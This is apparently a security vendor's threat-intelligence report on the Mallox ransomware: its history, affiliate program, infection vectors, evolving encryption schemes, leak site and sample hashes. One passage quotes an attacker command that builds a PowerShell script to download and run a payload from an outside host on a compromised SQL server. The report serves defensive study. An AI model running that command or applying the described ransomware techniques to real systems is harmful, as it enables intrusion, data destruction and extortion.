Mallox is a sophisticated and dangerous family of malicious software that has been causing significant damage to organizations worldwide. In 2023, this ransomware strain demonstrated an uptick in attacks, the overall number of discovered Mallox samples exceeding 700. In the first half of 2024, the malware was still being actively developed, with new versions being released several times a month, while the Mallox RaaS affiliate program advertised on dark web forums was seeking new partners. This article aims to provide a comprehensive technical overview of the ransomware and its history.
Mallox started operating in the first half of 2021, with the first known encryptor sample discovered in May 2021. From the very beginning, this malware was used in human-operated attacks against companies and organizations. The Trojan samples were tailored to each specific victim, with the name of the target company hardcoded in the ransom notes and the extension of the encrypted files. This is why this malware strain is known under many different aliases: the Trojan was not originally named “Mallox”, and each researcher introduced their own moniker for this malware.
In order to illustrate the different names used by Mallox variants throughout the family’s existence, we parsed more than 700 samples and built a table showing the numerous extensions we found in those.
2021 | # of samples | 2022 | # of samples | 2023 | # of samples | 2024 H1 | # of samples |
.architek | 1 | .avast | 1 | .bitenc | 1 | .hmallox | 2 |
.artiis | 1 | .bozon | 3 | .host | 1 | .ma1x0 | 5 |
.brg | 1 | .bozon3 | 1 | .mallab | 223 | .mallox | 21 |
.herrco | 1 | .carone | 1 | .mallox | 210 | .rmallox | 57 |
.mallox | 6 | .consultransom | 2 | .malloxx | 30 | .tif | 1 |
.servimo | 1 | .deviceZz | 1 | .malox | 63 | ||
.tohnichi | 3 | .exploit | 1 | .maloxx | 8 | ||
.explus | 1 | .xollam | 7 | ||||
.FARGO | 1 | ||||||
.FARGO2 | 1 | ||||||
.FARGO3 | 20 | ||||||
.mallox | 100 | ||||||
.prismchigo | 1 | ||||||
.rexiaa | 1 |
In early 2023, SuspectFile published an interview with individuals who claimed to be the threat actors behind Mallox. In the interview, the actor stated that they purchased the source code for the encryption Trojan in 2022. That might mean that it was previously operated by another group, which would explain the change in the naming pattern: from a unique name for each victim to the “Mallox” universal branding.
Most articles and blog posts refer to this strain as Mallox, Tohnichi, Fargo or TargetCompany.
Judging by the PE timestamps in the discovered samples, which proved to be unaltered and represent the actual release date of the given sample, there were several spikes in new samples: late 2022, early 2023 and late 2023.
Discovered Mallox samples by PE timestamp (download)
The number of ITW Mallox samples strongly correlates with Kaspersky Security Network (KSN) telemetry. KSN is our cyberthreat-related data processing system, which works with data consensually provided by Kaspersky users. The graph below shows spikes in unique users who encountered the Mallox ransomware in March 2023 and October 2023, which match the previous graph and indicate increased activity by the group during these periods.
Mallox ransomware activity (download)
A January 2023 post on the dark web forum RAMP by a user named Mallox promoted a ransomware-as-a-service affiliate program with the same name.
The translation of the post is given below.
Mallox is looking for pentesters with their own material to join the team or as partners
If you have your own material, we are ready to offer high-quality software and support Features: Terms: IM in Jabber for details: [redacted] |
The ad states that the RaaS owners are looking for “pentesters”, i.e. affiliates willing to search for and infiltrate companies. Priority is given to those affiliates that have already obtained unauthorized access to a lot of organizations and/or large networks. Such partners are offered 80% of the profits, while those without a substantial number of readily available victim networks are invited to work for 70% of the ransom.
The poster emphasizes that they are looking only for long-term relationships with experienced affiliates. They are not interested in wasting their time on novice cybercriminals and do not provide any training. The RaaS representative also stresses that they do not work with English-speaking affiliates.
Another RAMP post by the same user in September 2023 said the group was willing to purchase access credentials to victim networks, most likely to launch ransomware attacks on their own.
Market – Access (SSH/RDP/VNC/Shell) / Ищем поставщика доступов.Сотрудничество\Реализация.
Заберем доступы под реализацию. Условия сортудничества – оговариваются лично. Контакты джаббер: [redacted] |
Market – Access (SSH/RDP/VNC/Shell) / Looking for an access provider. Partnership/Purchases.
Will buy access credentials for use. Terms to be negotiated in private. Jabber contact: [redacted] |
This post sheds further light on the Mallox RaaS creators’ business model. They look for wealthy victim companies with revenue of $10 million or more in any of the five listed countries. They also aim to avoid attacking educational, governmental and healthcare organizations.
By analyzing Mallox samples, we were able to determine that starting in 2022, the developers added C&C reporting to their malware. This sends information about each infected computer, but more interestingly, it also appends an affiliate ID string to the Trojan’s HTTP request. We extracted these affiliate IDs from the samples we had obtained and built a data model, which allowed us to investigate the distribution of samples across partners throughout the evolution of the RaaS program.
Affiliate ID string | # of samples |
admin | 72 |
amigosbos9k | 55 |
bitenc | 1 |
bloodbeard | 2 |
caneddy | 1 |
grinder | 10 |
hiervos | 251 |
last | 1 |
lastsmile | 2 |
leandra56 | 1 |
loader | 7 |
maestro | 170 |
mallox | 2 |
Neuroframe | 11 |
panda | 42 |
samuel | 13 |
truetl | 4 |
UserHelp | 4 |
vampir | 65 |
We also analyzed the changes in the distribution of samples across the most active affiliates by year. These changes indicate that after the launch of the RaaS program, it rapidly expanded to reach 16 active affiliates operating 500 samples, and then shrank in the first half of 2024. At the time of writing this post, we observed a total of 19 Mallox RaaS partners.
Also notable is the fact that the original five affiliates that were working with Mallox in 2022 continue to do so in 2024. This might indicate that the core subscribers seem to be satisfied with the program’s terms and prefer it to other options available on the darknet market.
Please note that at the time of writing this report, the data for 2024 was limited to H1.
Mallox affiliates are free to choose their methods of compromising victims’ networks. Some of the campaigns we observed involved sending spam with malicious attachments. In another recent campaign in China, the threat actors allegedly exploited a vulnerability in the IP-Guard software for initial access.
While analyzing KSN telemetry, we determined that one of the most common infection vectors used by the attackers was penetrating internet-facing MS SQL or PostgreSQL servers. To achieve this, the threat actors typically either exploit RCE vulnerabilities, such as CVE-2019-1068 or CVE-2020-0618 in unpatched MS SQL server installations, or carry out brute-force or dictionary attacks.
The compromised MS SQL server process executes a command that creates a PowerShell script and launches it using the sqlps command, then starts the first stage portable executable (PE) payload downloaded by the PowerShell script.
cmd.exe /C "echo $cl = New-Object System.Net.WebClient >%APPDATA%\alta.ps1 & echo $cl.DownloadFile("hxxp[:]//<ip address>/scavenger.exe", "%APPDATA%\box.bat") >> %APPDATA%\alta.ps1 & sqlps -ExecutionPolicy Bypass %APPDATA%\alta.ps1 & WMIC process call create "%APPDATA%\box.bat""
This first-stage PE payload in Mallox attacks is typically either a sample of the Remcos RAT subsequently used by the operators for remote access to the compromised network, or a .NET downloader that automatically fetches the second-stage PE payload, which is the encryption Trojan. The .NET downloaders used in this scheme are mostly simplistic and implement a procedure to download a binary from the hardcoded URL, decrypt it with a XOR loop and execute it in memory.
Several hundred different samples have been found since the first version of Mallox was discovered. Mallox developers have continued to improve the ransomware and add new features. For convenience, we divided these samples into several different versions. Below, we will perform a detailed analysis of the first and the latest known versions. Moreover, we will provide a comparison table with other known versions to show how the Trojan has evolved, what features have been added and how the cryptographic scheme has changed.
This sample was discovered in mid-May 2021 and is the first discovered executable file belonging to the Mallox ransomware family. It is considered to be the original Mallox version. We have found several samples of this version with various extensions and notes that contain explicit names of the victim organizations. This is one of the few variants of Mallox that support debug logging, which outputs errors and other information about the encryption process to the console. In later versions, the logging functionality was removed or excluded from the release build.
The ransom note left behind by the original Mallox version looks typical of ransomware: it contains a unique victim identifier, conditions for file decryption, a threat to publish stolen data and the address of the negotiators’ website on the Tor network. To demonstrate their ability to decrypt files, the attackers offer to decrypt several test files that do not contain important data. In this version, the victim organization’s name is explicitly indicated inside the note.
Before encrypting files on the device, the ransomware performs several preparatory steps. First, it checks the language settings of the victim’s operating system. The ransomware immediately terminates if a Russian, Kazakh, Tatar, Belarusian or Ukrainian language identifier is set. Developers of malware typically do this if they hope to avoid prosecution in the countries where the languages are spoken. However, in the interview published in January 2023, a Mallox representative said of these restrictions, “This is due to the developer’s own decision to restrict our operations in those regions. We have no prejudices or preferences in which countries to work”. In the same interview, they claim that the project’s code previously had been used by other ransomware groups and subsequently purchased by the current threat actors. This means that early samples may not be linked to the current owners of Mallox, or that several independent groups may be using these.
If the default language of the operating system is not on the exclusion list, the ransomware process obtains the SeTakeOwnershipPrivilege and SeDebugPrivilege privileges. Next, it removes the keys and values from the registry using the WinAPI function SHDeleteKeyW, apparently to counter system defenses.
After that, Mallox deletes the shadow copies using the vssadmin.exe utility and completely disables Windows Recovery Environment.
Mallox encrypts data on all drives from A through Z if these have the following types: DRIVE_REMOTE, DRIVE_REMOVABLE or DRIVE_FIXED. It also supports text files containing paths for encryption via the command-line arguments, such as “-p” and “-d”. If the argument “-d <text_file_path>” is set, the ransomware encrypts only the paths in the text file and does not encrypt the device’s drives recursively. If the argument “-p <text_file_path>” is set, it first encrypts the paths in the text file and only then, the data on local drives. The full list of file path arguments accepted by the original version of Mallox is provided below.
Argument | Description |
-d <path> | Expects a path to the text file, encrypts only the paths in the file. |
-p <path> | Expects a path to the text file, first encrypts the paths in the file and only then the drives. |
-l <path> | Expects a path to the text file. It was not noticed that it affected anything. |
To calculate the count of threads that will be used to encrypt files, Mallox uses the WinAPI function GetSystemInfo. It gets the dwNumberOfProcessors value from this function and doubles it. However, the count of threads is limited to 64 and cannot exceed this value.
Mallox supports allowlist functionality. Lists of extensions, folder names and file names which must not be encrypted are embedded into the ransomware. The folder names include the names of the operating system folders and certain widely known applications. One of the interesting names among the exception files is “debugLog.txt”, which is presumably used for debugging purposes.
Below is pseudocode for iterating through drives, which is done if the “-d” argument is not set. The code shows that Mallox can use two different directory and file iterating methods: manual NTFS parsing and File Management Functions (WinAPI).
Mallox implements a convoluted encryption scheme consisting of several cryptographic algorithms.
Every time Mallox starts, it generates a new user private ECC (elliptic curve) key to be used with ECDH (Elliptic-curve Diffie–Hellman key agreement protocol on the Curve25519). To generate this private key, the ransomware uses the pseudorandom number generator Mersenne Twister, the seed for which is generated using the WinAPI function CryptGenRandom. If there are problems with initializing the Cryptographic Service Provider (CryptGenRandom cannot be used), then the seed is generated via a set of functions: QueryPerformanceCounter, GetTickCount, GetCurrentThreadId, GetCurrentProcessId, and the __rdtsc instruction. The outputs of these functions are multiplied and used as a Mersenne Twister seed.
The generated ECC private key is 32 bytes in size. From this private key, the Trojan generates a corresponding user ECC public key. The Trojan then calculates a shared secret using the Elliptic-curve Diffie–Hellman key agreement protocol (ECDH) from the user ECC private key and the attacker’s master ECC public key that is hardcoded in the Trojan’s body. The user ECC private key is not stored anywhere, and the user ECC public key is added to each encrypted file and is necessary for attackers to recalculate the shared secret.
In the picture below, the first call to the curve25519 function generates a user public key, and the next call generates a shared key, which is then hashed with SHA-256.
The first six bytes of the user ECC public key in hexadecimal form are used as the unique identifier of the victim, referred to as “personal identifier” in the note. It is generated uniquely each time the ransomware starts and does not depend on the device, so the identifier will change with each new run.
Files that are not on the allowlists are encrypted with the ChaCha20 stream cipher. The file key and nonce for ChaCha are encrypted using the symmetric encryption algorithm AES-128 in CTR mode. The key for AES is the first half of the SHA-256 hash of the shared secret obtained previously by using the ECDH protocol.
Files smaller than or equal to 10240 bytes are encrypted in their entirety. Larger files are encrypted using a stripe method: the file is broken down into 100 pieces, each further divided into 100 chunks. Each of the resulting chunks is encrypted with ChaCha. If the chunk size is less than 4096 bytes, the malware expands its size to 4096 bytes prior to encryption.
At the end of each encrypted file, Mallox appends a structure we will designate as a “technical buffer”, which stores the information necessary to decrypt the file. The Mallox sample in question has a minimalistic buffer that contains only an encrypted key and nonce for ChaCha, IV for AES, and the user’s ECC public key. The latter is intended to be used by attackers to recover the shared secret and calculate its SHA-256 hash, the first half of which is the encryption key for AES-128 CTR, and, along with IV, is necessary to decrypt the ChaCha key and nonce.
In the picture below, the ChaCha key and nonce are shown in red, AES CTR in blue, and the public user ECC key in orange.
After the encryption is complete, the executable file is deleted via the “del” command.
Before starting the file encryption process starts, Mallox sends the following information about the infected device to the attacker’s server using an HTTP POST request: the victim’s unique identifier obtained from the public key, the local computer name and the DNS name of the primary domain determined via a call to LsaQueryInformationPolicy with the PolicyDnsDomainInformation parameter.
After the encryption is completed, the ransomware sends a request to the attacker’s server again, with the victim’s ID and information about the encrypted disks.
This is one of the most recent versions of the Mallox ransomware, found in March 2024. Below, we provide an analysis of this version, but the main purpose of the analysis is to show the difference between the first and the recent versions.
Compared to the original version of Mallox, one of the significant changes that occurred in later versions concerned the format of the note. The original version explicitly showed the name of the attacked company and device, but later versions more often had a generic note and extensions.
Argument | Description |
-path <path> | Does not work in this version. Expects a path to encrypt. |
-queue <integer> | Does not work in this version. Expects an integer value. |
Two new arguments have been added compared to the first version, but none of the new or old arguments work in this variant. Any arguments passed via the command line are in fact checked for existence through the PathFileExistsW function, so the ransomware apparently only accepts file paths as arguments: “mallox.exe <path1> <path2>…. <pathN>”.
Any arguments that are not paths, including “-p”, “-d”, “-l”, “-path”, “-queue”, result in an error. If the correct paths are passed, the ransomware checks whether it is running with administrative privileges and, if so, it encrypts the files at these paths. If running without administrator permissions, it attempts to elevate its privileges by restarting using ShellExecuteW with the verb runas, used to run the application as the administrator.
Mallox sets the computer’s power scheme to High Performance, obviously in order to increase the performance and speed of the encryption process.
In this version, the Trojan contains a new function for terminating active processes via the TerminateProcess WinAPI function so as to keep them from blocking user files or interfering with the encryption process. The list of terminable process names refers mainly to databases, such as SQL Server, Oracle Database, Pervasive PSQL and MySQL.
Another new feature concerns services: the Trojan uses the Service Control Manager to disable and stop services using the ChangeServiceConfig and ControlService functions.
If the user tries to shut down or restart the operating system, Mallox attempts to prevent this. Using the ShutdownBlockReasonCreate function, the ransomware makes the OS display a threatening message about the possibility of file damage unless the user aborts the shutdown or reboot.
Before starting encryption, the Trojan modifies the registry keys of the HKEY_LOCAL_MACHINE hive to disable UAC and hide the Shut Down, Restart and Sign Out buttons.
The key generation scheme in the recent version shows significant changes. Presumably, the algorithm was altered by the Mallox developers in an attempt to fix vulnerabilities that allowed decrypting victims’ files without the attackers’ private key in earlier versions of the malware.
In this latest version, three values embedded in the code are used to generate a shared secret: two public ECC master keys (master_public_key_1, master_public_key_2) generated on the attacker’s side and a hardcoded 12-byte array. The resulting new scheme is presented below:
Below is a simplified diagram of this.
The file encryption algorithm has also changed: now files are encrypted using AES-256 in GCM mode. File keys are generated with ISAAC PRNG, seeded by the output of the BCryptGenRandom API function combined with Mersenne Twister PRNG. The file keys, as before, are encrypted using AES-128 in CTR mode, and the key for that is still the first half of the SHA-256 hashed share_key.
The technical buffer added at the end of each encrypted file has been expanded. Its beginning and end are indicated by the markers 0x02010201 and 0x04030403, shown in green in the image below. In this version, the ransomware encrypts the first 60% of the file — the total number of encrypted file chunks is shown in pink. Compared to the original version, the chunks have a size of 0x800000 bytes, are located next to each other and are encrypted entirely without further division. Purple stands for the size of the original file, red for the encrypted file key and IV for AES-256-GCM. The blue part is IV for AES-128-CTR, which is used to encrypt file keys. The orange part is the user_public_key.
First, the ransomware gets the external IP address of the encrypted device via a third-party public service. Then it collects information about the user, device, network, disks and files and sends it to the attacker’s C&C server with an HTTP POST request.
If all data is received and processed successfully, the server responds with “Successfully_added”.
We have been tracking a large number of samples since the very first version of Mallox appeared in 2021. During this time, more than 700 different samples have been found, which we have divided into 12 versions for convenience. This division is based on changes in ransomware functionality or cryptography. Please note that the Trojan samples do not contain any version numbers internally. In the tables below, we provide a brief description of changes introduced in each Mallox version along with the MD5 of one of the samples belonging to this version.
Sample hash (MD5) | Version | PE timestamp | Comment |
9b772efb921de8f172f21125dd0e0ff7 | 1 | 15 May 2021 | Earliest found version |
79b60f8b5052a9d4cc0c92c2cdc47485 | 2 | 20 Nov 2021 | The notes became generic, presumably as an initial step in a transition to RaaS distribution. |
e713f05a62914496eef512a93a611622 | 3 | 17 Feb 2022 | Fixed a vulnerability in the encryption scheme that allowed files to be decrypted without the attackers’ private keys. |
3829a09bca120206883539eb33d55311 | 4 | 9 May 2022 | Disabled self-spreading. The vulnerability is still fixed. |
a8e214683307adaff39783dc656b398a | 5 (gen) | 10 Jun 2022 | Removed the vulnerability fix introduced in version 3. Added a new public key generation scheme using data from the device — we refer to this scheme as “generated key”. Added a new “-path” argument. Enabled self-spreading again. |
ac1a255e5c908f12ef68a45fc0043b16 | 6 (emb) | 17 Jul 2022 | Removed the vulnerability fix introduced in version 3. Added a new public key generation scheme, using an embedded key — we refer to this scheme as “embedded key”. |
Starting with versions 5 and 6, all the subsequent versions through 11 were divided into two key generation schemes: “generated key” (gen) and “embedded key” (emb). These versions were used in parallel, and if some changes were made to one of these variants, then the other variant with the same changes would soon appear, sometimes on the same day. Later in this report, we will describe both methods in detail.
Hash (MD5) | Version | PE timestamp | Comment |
b1b42fa300d8f43c6deb98754caf0934 | 7 (gen) | 25 Oct 2022 | Added registry modification functions and an OS shutdown message.
Completed the transition to a RaaS distribution scheme with support for affiliate IDs hardcoded in the Trojan’s body and reported to C&C via the HTTP parameter “user=”. |
3762f98a55f0ec19702f388fc0db74e2 | 8 (emb) | 31 Oct 2022 | Similar to the previous one, but with a different key generation scheme. |
6bd93817967cdb61e0d7951382390fa0 | 9 (gen) | 18 Apr 2023 | Added a new argument: “-queue”. |
c494342b6c84f649dece4df2d3ff1031 | 10 (emb) | 18 Apr 2023 | Similar to the previous one, but with a different key generation scheme. |
16e708876c32ff56593ba00931e0fb67 | 11 (emb) | 25 Sep 2023 | Switched to an x64 version: later versions are also x64, while all earlier versions were x86. Added new features: power scheme, disabling UAC, hiding Shutdown/Reboot/Sign out buttons, etc. Switched to a new format for arguments: requires valid file paths as arguments. Also, instead of ChaCha, file content is now encrypted with AES-256-GCM. |
d32a3478aad766be96f0cdbda1f10091 | 11 (gen) | 26 Sep 2023 | Similar to the previous one, but with a different key generation scheme. |
e98b3a8d2179e0bd0bebba42735d11b7 | 12 | 6 Mar 2024 | Fixed a vulnerability in the key generation schemes by adopting a new, cryptographically secure scheme. Added the cryptographic random number generator CTR_DRBG (AES based). |
There is one version that stands out from this classification. We dubbed it 1F. The only two samples belonging to this version were discovered in June 2023 and February 2024. Despite the discovery dates, they are almost exactly the same as the first version, but with a fixed vulnerability in the cryptographic scheme. What is curious, this fix differs from the convoluted encryption schemes seen in versions 3, 4 and 12. Instead, it is a small local fix using the cryptographically secure SystemFunction036 (RtlGenRandom) function for seed generation.
Hash (MD5) | Version | PE timestamp | Comment |
98c7f6b6ddf6a01adb25457e9a3c52b8 | 1F | 5 Jun 2023 | Fixed a vulnerability in the version 1 key generation scheme using RtlGenRandom. |
b13a1e9c7ef5a51f64a58bae9b508e62 | 1F | 23 Feb 2024 | Exactly the same as the previous one. |
This scheme uses data from the device to populate an array with a maximum size of 56 bytes, from which a user ECC private key is obtained. The array is generated based on the functions GetVolumeInformationW, GetFileTime, GetComputerNameA, and the CPUID instruction.
Bytes count | Entropy source | Comment |
4 | GetVolumeInformationW | |
16 | __cpuid | |
12 | Embedded in code | Varies between samples |
8 | GetFileTime | |
<= 16 | GetComputerNameA | Can be less than 16 bytes |
The rest of the scheme contains three curve25519 calls, similar to the recent version (12), but unlike that, the scheme described in this paragraph is not cryptographically secure.
In this case, no random value generation is used to calculate the shared secret share_key. The user_private_key is hardcoded in the Trojan’s body, and the rest of the scheme has not changed compared to the first version. This is also a cryptographically non-secure scheme.
When encrypting a victim’s files Mallox creates a ransom note commonly named “HOW TO BACK FILES.txt”, “HOW TO RESTORE FILES.txt”, “RECOVERY INFORMATION.txt”, “FILE RECOVERY.txt” or some such. In the note, the threat actors instruct the victim about the ways to communicate with the attackers to negotiate the ransom payment: by visiting a specified TOR site (negotiation portal) and logging in with the victim ID, or by sending an email message to a specified address.
Upon authenticating with the negotiation portal, the victim is presented with a page containing information about their infection case:
The main page of the Mallox data leak site, which resides on the same domain as the negotiation portal, contains the list of victim companies. Countdown timers indicate the remaining time until the stolen data from each company is published in case the victim fails to pay up.
The information about the companies that apparently refused to cooperate is provided on a new page when the user clicks “View”. This page lists some details, such as the victim’s approximate revenue, the total volume of stolen data, links to download archives allegedly containing some or all of the exfiltrated files, and the password to unpack the archives.
For additional publicity and promotion of their affiliate program, the Mallox threat actors maintain an X account that posts regular updates about the group’s new victims and shares links to download new portions of stolen data.
The geographical distribution of unique KSN users who encountered the Mallox ransomware shows that the affiliates of the RaaS do not restrict their activities to a specific country and apparently aim to attack vulnerable companies anywhere these are located. That being said, some regions tend to be a more desirable target for Mallox extortionists. The countries that have attracted the most infection attempts are Brazil, Vietnam and China.
Geographical chart of Mallox attack attempts (download)
Our report provides a comprehensive overview of the Mallox ransomware, its characteristics, the history of its evolution, and the potential impact it can have on victims. By understanding the nature of Mallox ransomware and implementing appropriate security measures, companies and organizations can better safeguard their digital assets and minimize the risk of falling victim to this malicious software.
Our recommendations for maximizing your organization’s security:
MD5
9b772efb921de8f172f21125dd0e0ff7
79b60f8b5052a9d4cc0c92c2cdc47485
e713f05a62914496eef512a93a611622
3829a09bca120206883539eb33d55311
a8e214683307adaff39783dc656b398a
ac1a255e5c908f12ef68a45fc0043b16
b1b42fa300d8f43c6deb98754caf0934
3762f98a55f0ec19702f388fc0db74e2
6bd93817967cdb61e0d7951382390fa0
c494342b6c84f649dece4df2d3ff1031
16e708876c32ff56593ba00931e0fb67
d32a3478aad766be96f0cdbda1f10091
e98b3a8d2179e0bd0bebba42735d11b7
98c7f6b6ddf6a01adb25457e9a3c52b8
b13a1e9c7ef5a51f64a58bae9b508e62
URLs